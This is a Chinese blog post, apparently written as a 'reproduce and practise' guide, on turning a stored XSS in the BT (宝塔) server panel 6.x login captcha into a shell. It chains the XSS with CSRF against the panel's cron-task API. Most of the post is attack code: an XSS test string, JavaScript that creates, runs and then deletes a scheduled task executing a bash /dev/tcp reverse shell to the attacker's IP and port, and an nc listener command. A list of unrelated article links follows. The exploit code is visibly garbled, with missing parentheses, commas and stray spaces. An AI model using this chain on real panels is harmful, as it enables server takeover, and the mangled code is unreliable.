对于宝塔漏洞复现和练习

0×00  什么是宝塔面板

宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统。一键配置:LAMP / LNMP ,网站,数据库,FTP ,SSL,通过Web 端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

0×01  漏洞成因

在6.x Linux 版本宝塔面板当中当中,相对与5.x 版本,记录了验证码错误并存入数据库当中,存储XSS缺陷就是在此处产生。 同时利用CSRF结合宝塔的计划任务反弹shell。

0×02   漏洞复现

首先访问后台,宝塔一般部署在8888 端口,

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

然后我们在登陆,在验证码处输入XSS 利用代码测试

  1. <script>alert('xss')</ script>

通过账号密码登陆宝塔后台,点开安全模块。我们可以看到触发了弹窗

由于宝塔面板的计划任务功能可以执行shell 脚本,所以我们可以基于这个xss 结合csrf 在计划任务功能处执行反弹shell 。

我们利用xss 平台(http://xsspt.com )新建一个项目执行自定义的js 脚本,修改里面的你的ip 和端口,代码如下

  1. function addTaskTaskNameexecTimeipport){
  2.  
  3. var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1';
  4.  
  5. execShell = encodeURIComponentexecShell);
  6.  
  7. var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined'
  8.  
  9. var xhr = new XMLHttpRequest();
  10.  
  11. xhr.open'POST''/ crontab?action = AddCrontab'false);
  12.  
  13. xhr.setRequestHeader'Content-Type''application / x-www-form-urlencoded');
  14.  
  15. xhr.sendPARAMS);
  16.  
  17. }
  18.  
  19. function execTaskTaskName){
  20.  
  21. var xhr = new XMLHttpRequest();
  22.  
  23. xhr.open'POST''/ crontab?action = GetCrontab'true);
  24.  
  25. xhr.send();
  26.  
  27. xhr.onload = function(){
  28.  
  29. ifthis.readyState == 4 && this.status == 200){
  30.  
  31. var res = JSON.parsethis.responseText);
  32.  
  33. ifres [0] .name == TaskName){
  34.  
  35. var TaskID = res [0] .id.toString();
  36.  
  37. var xhr = new XMLHttpRequest();
  38.  
  39. xhr.open'POST''/ crontab?action = StartTask'false);
  40.  
  41. xhr.setRequestHeader'Content-Type''application / x-www-form-urlencoded');
  42.  
  43. var params ='id ='+ TaskID;
  44.  
  45. xhr.sendPARAMS);
  46.  
  47. delTaskRES [0] .ID);
  48.  
  49. console.logRES [0] .ID);
  50.  
  51. return res [0] .id;
  52.  
  53. }
  54.  
  55. }
  56.  
  57. }
  58.  
  59. }
  60.  
  61. function delTaskTaskID){
  62.  
  63. var params ='id ='+ TaskID.toString();
  64.  
  65. var xhr = new XMLHttpRequest();
  66.  
  67. xhr.open'POST''/ crontab?action = DelCrontab'false);
  68.  
  69. xhr.setRequestHeader'Content-Type''application / x-www-form-urlencoded');
  70.  
  71. xhr.sendPARAMS);
  72.  
  73. }
  74.  
  75. var TaskName = Math.random()。toString36).substring7);
  76.  
  77. addTaskTASKNAME '5' '1.1.1.1' '53');
  78.  
  79. execTaskTASKNAME);

在本地通过nc 监听反弹的端口,nc.exe -l -vv -p 反弹端口

在然后后台通过登陆面板的验证码处插入我们配置好的跨站网站脚本代码

在登陆宝塔后台面板,点开安全模块。我们可以看到壳成功反弹

宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell的更多相关文章

  1. 宝塔漏洞 XSS窃取宝塔面板管理员漏洞 高危

    宝塔是近几年刚崛起的一款服务器面板,深受各大站长的喜欢,windows2003 windows2008windosws 2012系统,linux centos deepin debian fedora ...

  2. 宝塔面板,Typecho,Lsky Pro图床安装

    宝塔面板,Typecho,Lsky Pro图床安装 本文安装包:链接:https://cloud.cangye.me/s/l3i4avjl 密码是宝塔面板4个汉字拼音首字母小写(防止被爬) 一,宝塔面 ...

  3. 宝塔面板设置腾迅COS自动备份网站

    之前写了如何配置腾迅云COS并挂载到服务器中,今天看到宝塔面板中有腾迅云COS的插件,不过研究了下,只是将COS绑定在宝塔面板中,不能自动备份,需要用到宝塔的计划任务功能 1.下载腾迅云COS插件 2 ...

  4. 宝塔面板下安装zabbix

    宝塔面板之前已经安装完成,如果不会可以查看上一个日志.接下来开始安装zabbix 1.添加系统用户和组 2. yum -y install epel-release #安装源 3.使用命令 yum - ...

  5. Vultr VPS建站攻略 – 一键安装宝塔面板架设LNMP/LAMP Web环境

    我们选择VULTR VPS建站的还是比较多的,其主要原因在于商家的稳定,毕竟我们用来建站选择服务器价格考虑的不是主要的(当然VULTR价格也是比较便宜),最为主要的是因为VULTR商家比较稳定,而且多 ...

  6. 腾讯云服务器安装宝塔面板快速配置LNMP/LAMP网站系统

    我们在选择购买腾讯云服务器之后,有部分用户肯定是用来建站用途的.毕竟云服务器的性能和功能比虚拟主机优秀很多.腾讯云服务器拥有香港.北京.广州.上海.美国等多个机房,可以安装Linux和Windows系 ...

  7. 宝塔面板 + Rancher + 阿里云镜像仓库 + Docker + Kubernetes,添加集群、部署 web 应用

    目录 一,安装宝塔面板(V 6.8) 二,使用宝塔安装 Docker,配置阿里云容器服务 三,安装 Rancher (Server) 四,管理 Rancher.添加集群 五,添加 Rancher 应用 ...

  8. 关于宝塔面板windows版6.2的一些使用心得

    关于宝塔面板windows版6.2的一些使用心得 第一次使用windows版本的 给客户搭建  asp+mssql的需求 心得1   安装   server2012 基于python开发的,所以安装的 ...

  9. Ubuntu宝塔面板设置网站 Apache Server API为Apache 2.0 Handler模式

    用过宝塔面板(https://www.bt.cn)的谁用谁知道:  以下来自官网的介绍: “宝塔Linux面板是提升运维效率的服务器管理软件,支持一键LAMP/LNMP/集群/监控/网站/FTP/数据 ...

随机推荐

  1. 聊聊JavaScript异步中的macrotask和microtask

    前言 首先来看一个JavaScript的代码片段: console.log(1); setTimeout(() => { console.log(2); Promise.resolve().th ...

  2. ImageView的功能和使用

    ImageView继承自View类,它的功能用于显示图片, 或者显示Drawable对象 xml属性: src和background区别 参考:http://hi.baidu.com/sunboy_2 ...

  3. 加入百度地图遇到 framework not found BaiduMapAPI***

    新建一个文件夹,把需要的静态库和.h文件放到文件夹里面.就解决啦.虽然不知道为什么这样可以,但是可以使用啦~~~

  4. jmeter 命令压测生成报告

    1.本地复制到远程 scp -r local_folder remote_username@remote_ip:remote_folder 或者 scp -r local_folder remote_ ...

  5. wrk,ab,locust,Jmeter 压测结果比较

    背景: 项目需要对一批接口进行压测,要求是接口的QPS(Quest Per Second每秒请求数)达到6万以上由于楼主一直使用的压力测试工具是jmeter,但是jmeter单台电脑无法达到6万的QP ...

  6. [Advanced Python] 12 - Interview Quiz

    第一步.大扫荡复习 Resource: https://www.liaoxuefeng.com/wiki/1016959663602400/1016959735620448 IDE:https://r ...

  7. 【linux】【jenkins】自动化运维七 整合sonarqube代码审查

    1.安装插件:SonarQube Scanner for Jenkins 插件安装教程参考:https://www.cnblogs.com/jxd283465/p/11542680.html 2.So ...

  8. Java程序语言的后门-反射机制

    在文章JAVA设计模式-动态代理(Proxy)示例及说明和JAVA设计模式-动态代理(Proxy)源码分析都提到了反射这个概念. // 通过反射机制,通知力宏做事情 method.invoke(obj ...

  9. spring web 脚手架 (持续更新中...)

    spring web 脚手架 项目地址: https://github.com/MengW9/scafflod.git 还有觉得哪些可以加上去的配置,欢迎各位拍砖,我会持续更新,大家共同进步 一个通用 ...

  10. <<构建之法第三版>>读书遇到的5个问题

    1.书中第4章4.5节所说的结对编程让我感觉有一点困惑,书中书写的是结对编程,说实话我是第一次接触这个词汇,我能感到这种方式的新特之处,但是对比我现实的编程经历,我很难想象在一般的企业开发中这样的行为 ...